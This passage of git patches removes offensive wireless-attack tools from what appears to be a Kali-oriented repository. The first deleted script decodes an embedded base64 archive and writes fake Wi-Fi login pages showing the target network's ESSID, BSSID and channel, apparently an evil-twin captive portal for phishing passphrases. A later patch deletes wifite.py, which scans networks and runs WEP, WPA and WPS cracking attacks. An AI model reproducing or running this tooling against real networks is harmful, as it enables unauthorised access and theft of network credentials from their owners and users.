-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 -" | base64 -d >$DUMP_PATH/file.zip - - unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device - rm $DUMP_PATH/file.zip &>$flux_output_device - - echo " - - - Login - - - - - - - -
-
-

Login Page

-
- -
- - "$DIALOG_WEB_OK" -
- -
- -
-
-
-
-

-
- -
- -
- -
-
-
- - - ">$DUMP_PATH/data/final.html - echo " - - - Login - - - - - - -
-
-

Login Page

-
- -
- - "$DIALOG_WEB_ERROR" -
- "$DIALOG_WEB_BACK" - -
- -
- -
-
-
-
-

-
- -
- -
- -
-
-
- - - ">$DUMP_PATH/data/error.html - - echo " - - - Login - - - - - - - -
-
-

Login Page

-
- -
-
-
-
- -
ESSID:
- -
$Host_SSID
- -
BSSID:
- -
$Host_MAC
- -
Chan:
- -
$Host_CHAN
- -
- -
- - "$DIALOG_WEB_INFO" -
- -
- - - -
- -
- -
- -
-
-
-
-

-
- -
- -
- -
-
-
- - - ">$DUMP_PATH/data/index.htm - -} -######################################### < INTERFACE WEB > ######################################## - - -mostrarheader && setresolution && setinterface From 623c26d4f2d7dbf688cf41796bde759a7242e642 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 03:06:16 +0400 Subject: [PATCH 025/294] Delete wifite.py --- kali/wifite.py | 188 ------------------------------------------------- 1 file changed, 188 deletions(-) delete mode 100644 kali/wifite.py diff --git a/kali/wifite.py b/kali/wifite.py deleted file mode 100644 index b77b1a6..0000000 --- a/kali/wifite.py +++ /dev/null @@ -1,188 +0,0 @@ -#!/usr/bin/python2.7 - -from py.Configuration import Configuration -from py.Scanner import Scanner -from py.Color import Color -from py.AttackWEP import AttackWEP -from py.AttackWPA import AttackWPA -from py.AttackWPS import AttackWPS -from py.CrackResult import CrackResult -from py.Handshake import Handshake - -from json import loads -import os - -class Wifite(object): - - def main(self): - ''' Either performs action based on arguments, or starts attack scanning ''' - - if os.getuid() != 0: - Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}') - Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}') - return - - Configuration.initialize(load_interface=False) - - if Configuration.show_cracked: - self.display_cracked() - - elif Configuration.check_handshake: - self.check_handshake(Configuration.check_handshake) - - elif Configuration.crack_wpa: - # TODO: Crack .cap file at crack_wpa - Color.pl('{!} Unimplemented method: crack_wpa') - pass - elif Configuration.crack_wep: - # TODO: Crack .cap file at crack_wep - Color.pl('{!} Unimplemented method: crack_wep') - pass - elif Configuration.update: - # TODO: Get latest version from github - Color.pl('{!} Unimplemented method: update') - pass - else: - Configuration.get_interface() - self.run() - - def display_cracked(self): - ''' Show cracked targets from cracked.txt ''' - Color.pl('{+} displaying {C}cracked target(s){W}') - name = CrackResult.cracked_file - if not os.path.exists(name): - Color.pl('{!} {O}file {C}%s{O} not found{W}' % name) - return - f = open(name, 'r') - json = loads(f.read()) - f.close() - for (index, item) in enumerate(json): - Color.pl('\n{+} Cracked target #%d:' % (index + 1)) - cr = CrackResult.load(item) - cr.dump() - - def check_handshake(self, capfile): - ''' Analyzes .cap file for handshake ''' - Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile) - if not os.path.exists(capfile): - Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile) - return - hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid) - hs.analyze() - - - def run(self): - ''' - Main program. - 1) Scans for targets, asks user to select targets - 2) Attacks each target - ''' - s = Scanner() - if s.target: - # We found the target we want - targets = [s.target] - else: - targets = s.select_targets() - - targets_remaining = len(targets) - for index, t in enumerate(targets): - targets_remaining -= 1 - - Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index + 1, len(targets)) + - ' starting attacks against {C}%s{W} ({C}%s{W})' - % (t.bssid, t.essid)) - if 'WEP' in t.encryption: - attack = AttackWEP(t) - elif 'WPA' in t.encryption: - if t.wps: - attack = AttackWPS(t) - result = False - try: - result = attack.run() - except KeyboardInterrupt: - if not self.user_wants_to_continue(targets_remaining, 1): - break - - if result and attack.success: - # We cracked it. - attack.crack_result.save() - continue - else: - # WPS failed, try WPA handshake. - attack = AttackWPA(t) - else: - # Not using WPS, try WPA handshake. - attack = AttackWPA(t) - else: - Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA") - continue - - try: - attack.run() - except KeyboardInterrupt: - if not self.user_wants_to_continue(targets_remaining): - break - - if attack.success: - attack.crack_result.save() - - - def print_banner(self): - """ Displays ASCII art of the highest caliber. """ - Color.pl("") - Color.pl("{G} .;' `;, ") - Color.pl("{G} .;' ,;' `;, `;, {W}WiFite v%.2f" % Configuration.version) - Color.pl("{G}.;' ,;' ,;' `;, `;, `;, ") - Color.pl("{G}:: :: : {GR}( ){G} : :: :: {W}Automated Wireless Auditor") - Color.pl("{G}':. ':. ':. {GR}/_\\{G} ,:' ,:' ,:' ") - Color.pl("{G} ':. ':. {GR}/___\\{G} ,:' ,:' {C}https://github.com/derv82/wifite2{W}") - Color.pl("{G} ':. {GR}/_____\\{G} ,:' ") - Color.pl("{G} {GR}/ \\{G} ") - Color.pl("{W}") - - - def user_wants_to_continue(self, targets_remaining, attacks_remaining=0): - ''' Asks user if attacks should continue onto other targets ''' - Color.pl('\n{!} {O}interrupted{W}\n') - if attacks_remaining == 0 and targets_remaining == 0: - # No targets or attacksleft, drop out - return - - prompt_list = [] - if attacks_remaining > 0: - prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining)) - if targets_remaining > 0: - prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining)) - prompt = ' and '.join(prompt_list) - Color.pl('{+} %s remain, do you want to continue?' % prompt) - - prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' + - ' or {R}s{W} to {R}stop{W}: ') - - if raw_input(prompt).lower().startswith('s'): - return False - else: - return True - - -if __name__ == '__main__': - w = Wifite() - try: - w.print_banner() - w.main() - except Exception, e: - Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e)) - if Configuration.verbose > 0: - Color.pl('\n{!} {O}Full stack trace below') - from traceback import format_exc - Color.p('\n{!} ') - err = format_exc().strip() - err = err.replace('\n', '\n{!} {C} ') - err = err.replace(' File', '{W}File') - err = err.replace(' Exception: ', '{R}Exception: {O}') - Color.pl(err) - Color.pl('\n{!} {R}Exiting{W}\n') - except KeyboardInterrupt: - Color.pl('\n{!} {O}interrupted{W}') - Configuration.exit_gracefully(0) - From 5dffb9e1923053cf818d13a6ca8785521ae9ddb0 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 03:06:40 +0400 Subject: [PATCH 026/294] Delete header.sh --- kali/test/header.sh | 11 ----------- 1 file changed, 11 deletions(-) delete mode 100644 kali/test/header.sh diff --git a/kali/test/header.sh b/kali/test/header.sh deleted file mode 100644 index 93d4811..0000000 --- a/kali/test/header.sh +++ /dev/null @@ -1,11 +0,0 @@ -function mostrarheader(){ - - conditional_clear - echo -e "$blue#########################################################" - echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" - echo 